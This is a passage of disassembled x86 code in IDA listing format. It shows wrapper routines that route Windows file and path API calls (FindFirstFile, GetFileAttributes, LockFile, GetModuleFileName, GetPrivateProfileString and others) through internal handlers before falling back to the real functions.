		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_168], eax
		mov	eax, [ebp+var_168]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4E17B8	; WideCharToMultiByte
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_160]
		push	eax
		push	[ebp+var_20]
		call	sub_4CF63E
		test	eax, eax
		jnz	short loc_4DA56B
		and	[ebp+var_164], 0
		push	offset dword_4DE5B4
		push	offset aFindfirstfilee ; "FindFirstFileExW"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_164], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_164]
		mov	[ebp+var_1C], eax
		jmp	short loc_4DA5CA
; ---------------------------------------------------------------------------


loc_4DA56B:				; CODE XREF: sub_4DA4AA+84j
		lea	ecx, [ebp+var_134]
		lea	eax, [ebp+var_160]
		sub	ecx, eax
		lea	esi, [ebp+var_160]
		mov	edi, [ebp+arg_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	104h
		mov	eax, [ebp+arg_8]
		add	eax, 2Ch
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_134]
		push	eax
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar
		push	0Eh
		mov	eax, [ebp+arg_8]
		add	eax, 234h
		push	eax
		push	0Eh
		lea	eax, [ebp+var_30]
		push	eax
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar


loc_4DA5CA:				; CODE XREF: sub_4DA4AA+BFj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4DA5D5
		jmp	short loc_4DA5EB
sub_4DA4AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DA5D5	proc near		; CODE XREF: sub_4DA4AA+124p
					; DATA XREF: _5:004DEA70o
		mov	eax, [ebp-20h]
		mov	[ebp-16Ch], eax
		push	dword ptr [ebp-16Ch]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4DA5D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DA4AA


loc_4DA5EB:				; CODE XREF: sub_4DA4AA+129j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_4DA4AA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA5FF	proc near		; CODE XREF: sub_4049CD+5ECp
					; sub_40752B+C0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4CF818
		test	eax, eax
		jnz	short loc_4DA61F
		push	[ebp+arg_0]
		call	ds:dword_4E16CC	; FindClose
		mov	[ebp+var_4], eax


loc_4DA61F:				; CODE XREF: sub_4DA5FF+12j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_4DA5FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA626	proc near		; CODE XREF: sub_4049CD+212p
					; sub_4049CD+5DBp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4CF6DE
		test	eax, eax
		jnz	short loc_4DA650
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E16D4	; FindNextFileA
		mov	[ebp+var_4], eax


loc_4DA650:				; CODE XREF: sub_4DA626+19j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_4DA626	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA657	proc near		; DATA XREF: _6:004E1320o

var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 148h
		push	esi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+arg_0]
		call	sub_4CF6DE
		test	eax, eax
		jnz	short loc_4DA6A8
		and	[ebp+var_148], 0
		push	offset dword_4DE5B4
		push	offset aFindnextfilew ;	"FindNextFileW"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_148], eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_148]
		mov	[ebp+var_4], eax
		jmp	short loc_4DA707
; ---------------------------------------------------------------------------


loc_4DA6A8:				; CODE XREF: sub_4DA657+20j
		lea	ecx, [ebp+var_118]
		lea	eax, [ebp+var_144]
		sub	ecx, eax
		lea	esi, [ebp+var_144]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	104h
		mov	eax, [ebp+arg_4]
		add	eax, 2Ch
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar
		push	0Eh
		mov	eax, [ebp+arg_4]
		add	eax, 234h
		push	eax
		push	0Eh
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar


loc_4DA707:				; CODE XREF: sub_4DA657+4Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn	8
sub_4DA657	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA710	proc near		; DATA XREF: _6:004E1390o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D0858
		test	eax, eax
		jnz	short loc_4DA73A
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E16FC	; GetFileInformationByHandle
		mov	[ebp+var_4], eax


loc_4DA73A:				; CODE XREF: sub_4DA710+19j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_4DA710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA741	proc near		; DATA XREF: _6:004E1398o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	sub_4D0950
		test	eax, eax
		jnz	short loc_4DA76F
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E1768	; LockFile
		mov	[ebp+var_4], eax
		jmp	short loc_4DA776
; ---------------------------------------------------------------------------


loc_4DA76F:				; CODE XREF: sub_4DA741+12j
		mov	[ebp+var_4], 1


loc_4DA776:				; CODE XREF: sub_4DA741+2Cj
		mov	eax, [ebp+var_4]
		leave
		retn	14h
sub_4DA741	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA77D	proc near		; DATA XREF: _6:004E13A0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		call	sub_4D0950
		test	eax, eax
		jnz	short loc_4DA7A8
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E179C	; UnlockFile
		jmp	short locret_4DA7AB
; ---------------------------------------------------------------------------


loc_4DA7A8:				; CODE XREF: sub_4DA77D+12j
		push	1
		pop	eax

locret_4DA7AB:				; CODE XREF: sub_4DA77D+29j
		leave
		retn	14h
sub_4DA77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA7AF	proc near		; CODE XREF: sub_404716+110p
					; sub_409288+10Fp ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		call	sub_4D1CA8
		test	eax, eax
		jnz	short loc_4DA7CD
		push	[ebp+arg_0]
		call	ds:dword_4E16F4	; GetFileAttributesA
		jmp	short locret_4DA7D9
; ---------------------------------------------------------------------------


loc_4DA7CD:				; CODE XREF: sub_4DA7AF+11j
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax

locret_4DA7D9:				; CODE XREF: sub_4DA7AF+1Cj
		leave
		retn	4
sub_4DA7AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA7DD	proc near		; DATA XREF: _6:004E1270o

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004DA896 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEA78
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4E17B8	; WideCharToMultiByte
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 103h
		ja	short loc_4DA85E
		lea	edx, [ebp+var_28]
		mov	ecx, [ebp+var_20]
		call	sub_4D1CA8
		test	eax, eax
		jnz	short loc_4DA86C


loc_4DA85E:				; CODE XREF: sub_4DA7DD+70j
		push	[ebp+arg_0]
		call	ds:dword_4E16F8	; GetFileAttributesW
		mov	[ebp+var_1C], eax
		jmp	short loc_4DA87B
; ---------------------------------------------------------------------------


loc_4DA86C:				; CODE XREF: sub_4DA7DD+7Fj
		movzx	eax, [ebp+var_28]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax
		mov	[ebp+var_1C], eax


loc_4DA87B:				; CODE XREF: sub_4DA7DD+8Dj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4DA886
		jmp	short loc_4DA896
sub_4DA7DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DA886	proc near		; CODE XREF: sub_4DA7DD+A2p
					; DATA XREF: _5:004DEA80o
		mov	eax, [ebp-20h]
		mov	[ebp-30h], eax
		push	dword ptr [ebp-30h]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4DA886	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DA7DD


loc_4DA896:				; CODE XREF: sub_4DA7DD+A7j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_4DA7DD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA8AA	proc near		; DATA XREF: _6:004E1278o

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 004DA9D8 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEA88
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4E17B8	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		lea	edx, [ebp+var_24]
		mov	ecx, [ebp+var_20]
		call	sub_4D1CA8
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4DA995
		mov	[ebp+var_1C], 1
		movzx	eax, [ebp+var_24]
		neg	eax
		sbb	eax, eax
		and	eax, 0Fh
		inc	eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		mov	eax, [eax+0Ch]
		mov	ecx, [eax+1Ch]
		mov	eax, [eax+20h]
		mov	edx, [ebp+arg_8]
		mov	[edx+4], ecx
		mov	[edx+8], eax
		mov	eax, [ebp+var_2C]
		mov	eax, [eax+0Ch]
		mov	ecx, [eax+1Ch]
		mov	eax, [eax+20h]
		mov	edx, [ebp+arg_8]
		mov	[edx+0Ch], ecx
		mov	[edx+10h], eax
		mov	eax, [ebp+var_2C]
		mov	eax, [eax+0Ch]
		mov	ecx, [eax+1Ch]
		mov	eax, [eax+20h]
		mov	edx, [ebp+arg_8]
		mov	[edx+14h], ecx
		mov	[edx+18h], eax
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax+1Ch], 0
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ecx+20h], eax
		jmp	short loc_4DA9BD
; ---------------------------------------------------------------------------


loc_4DA995:				; CODE XREF: sub_4DA8AA+7Bj
		push	offset aKernel32_0 ; "kernel32"
		push	offset aGetfileattri_1 ; "GetFileAttributesExW"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	short loc_4DA9BD
		push	[ebp+arg_8]
		push	0
		push	[ebp+arg_0]
		call	[ebp+var_30]
		mov	[ebp+var_1C], eax


loc_4DA9BD:				; CODE XREF: sub_4DA8AA+E9j
					; sub_4DA8AA+103j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4DA9C8
		jmp	short loc_4DA9D8
sub_4DA8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DA9C8	proc near		; CODE XREF: sub_4DA8AA+117p
					; DATA XREF: _5:004DEA90o
		mov	eax, [ebp-20h]
		mov	[ebp-38h], eax
		push	dword ptr [ebp-38h]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4DA9C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DA8AA


loc_4DA9D8:				; CODE XREF: sub_4DA8AA+11Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4DA8AA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA9EC	proc near		; CODE XREF: sub_404716+1F5p
					; sub_405053+38p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D0672
		test	eax, eax
		jnz	short loc_4DAA11
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E1700	; GetFileSize
		mov	[ebp+var_4], eax
		jmp	short loc_4DAA1D
; ---------------------------------------------------------------------------


loc_4DAA11:				; CODE XREF: sub_4DA9EC+12j
		cmp	[ebp+arg_4], 0
		jz	short loc_4DAA1D
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0


loc_4DAA1D:				; CODE XREF: sub_4DA9EC+23j
					; sub_4DA9EC+29j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_4DA9EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAA24	proc near		; CODE XREF: sub_40409E+18p
					; sub_405898+58p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D7141
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4DAA57
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E1714	; GetModuleFileNameA
		mov	[ebp+var_4], eax


loc_4DAA57:				; CODE XREF: sub_4DAA24+1Fj
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_4DAA24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAA5E	proc near		; DATA XREF: _6:004E13B0o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		inc	eax
		push	eax
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_8]
		inc	ecx
		xor	eax, eax
		mov	edi, [ebp+var_8]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_4D7141
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4DAABF
		push	[ebp+arg_8]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	ds:dword_4E1714	; GetModuleFileNameA
		mov	[ebp+var_4], eax


loc_4DAABF:				; CODE XREF: sub_4DAA5E+4Dj
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0FFFFFFFFh
		push	[ebp+var_8]
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	0Ch
sub_4DAA5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAAEB	proc near		; DATA XREF: _6:004E13B8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D18CF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4DAB36
		push	offset aKernel32_0 ; "kernel32"
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4DAB36
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax


loc_4DAB36:				; CODE XREF: sub_4DAAEB+20j
					; sub_4DAAEB+3Aj
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_4DAAEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAB3D	proc near		; DATA XREF: _6:004E13C0o

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 004DAC52 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEA98
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		mov	eax, [ebp+arg_8]
		inc	eax
		push	eax
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_8]
		inc	ecx
		xor	eax, eax
		mov	edi, [ebp+var_24]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	400h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_20], eax
		and	[ebp+var_4], 0
		push	0
		push	0
		push	400h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4E17B8	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_4D18CF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4DAC0B
		push	offset aKernel32_0 ; "kernel32"
		push	offset aGetlongpathn_0 ; "GetLongPathNameW"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_4DAC09
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_2C]
		mov	[ebp+var_1C], eax


loc_4DAC09:				; CODE XREF: sub_4DAB3D+BBj
		jmp	short loc_4DAC28
; ---------------------------------------------------------------------------


loc_4DAC0B:				; CODE XREF: sub_4DAB3D+A1j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_4DAC28
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0FFFFFFFFh
		push	[ebp+var_24]
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar


loc_4DAC28:				; CODE XREF: sub_4DAB3D:loc_4DAC09j
					; sub_4DAB3D+D4j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4DAC33
		jmp	short loc_4DAC52
sub_4DAB3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DAC33	proc near		; CODE XREF: sub_4DAB3D+EFp
					; DATA XREF: _5:004DEAA0o
		mov	eax, [ebp-24h]
		mov	[ebp-38h], eax
		push	dword ptr [ebp-38h]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp-20h]
		mov	[ebp-3Ch], eax
		push	dword ptr [ebp-3Ch]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4DAC33	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DAB3D


loc_4DAC52:				; CODE XREF: sub_4DAB3D+F4j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4DAB3D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAC66	proc near		; DATA XREF: _6:004E1370o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_14]
		call	sub_4D19D2
		test	eax, eax
		jz	short loc_4DACE9
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D1CC4
		add	esp, 1Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4DACE7
		cmp	[ebp+arg_8], 0
		jz	short loc_4DACE7
		mov	eax, [ebp+arg_10]
		dec	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_4CC770
		add	esp, 0Ch
		mov	edi, [ebp+arg_8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_4DACDB
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4DACE1
; ---------------------------------------------------------------------------


loc_4DACDB:				; CODE XREF: sub_4DAC66+6Bj
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_C], eax


loc_4DACE1:				; CODE XREF: sub_4DAC66+73j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax


loc_4DACE7:				; CODE XREF: sub_4DAC66+3Aj
					; sub_4DAC66+40j
		jmp	short loc_4DAD04
; ---------------------------------------------------------------------------


loc_4DACE9:				; CODE XREF: sub_4DAC66+15j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E1724	; GetPrivateProfileStringA
		mov	[ebp+var_4], eax


loc_4DAD04:				; CODE XREF: sub_4DAC66:loc_4DACE7j
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	18h
sub_4DAC66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DAD0C	proc near		; DATA XREF: _6:004E1378o

var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	edi
		and	[ebp+var_4], 0
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_C]
		call	sub_4D19D2
		test	eax, eax
		jz	short loc_4DAD76
		and	[ebp+var_54], 0
		push	13h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_53]
		rep stosd
		stosw
		stosb
		push	0
		push	[ebp+arg_C]
		push	50h
		lea	eax, [ebp+var_54]
		push	eax
		push	offset dword_4E1918
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D1CC4
		add	esp, 1Ch
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 0
		jnz	short loc_4DAD67
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		jmp	short loc_4DAD74
; ---------------------------------------------------------------------------


loc_4DAD67:				; CODE XREF: sub_4DAD0C+51j
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_4CCA75
		pop	ecx
		mov	[ebp+var_4], eax


loc_4DAD74:				; CODE XREF: sub_4DAD0C+59j
		jmp	short loc_4DAD8B
; ---------------------------------------------------------------------------


loc_4DAD76:				; CODE XREF: sub_4DAD0C+19j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E171C	; GetPrivateProfileIntA
		mov	[ebp+var_4], eax


loc_4DAD8B:				; CODE XREF: sub_4DAD0C:loc_4DAD74j
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn	10h
sub_4DAD0C	endp


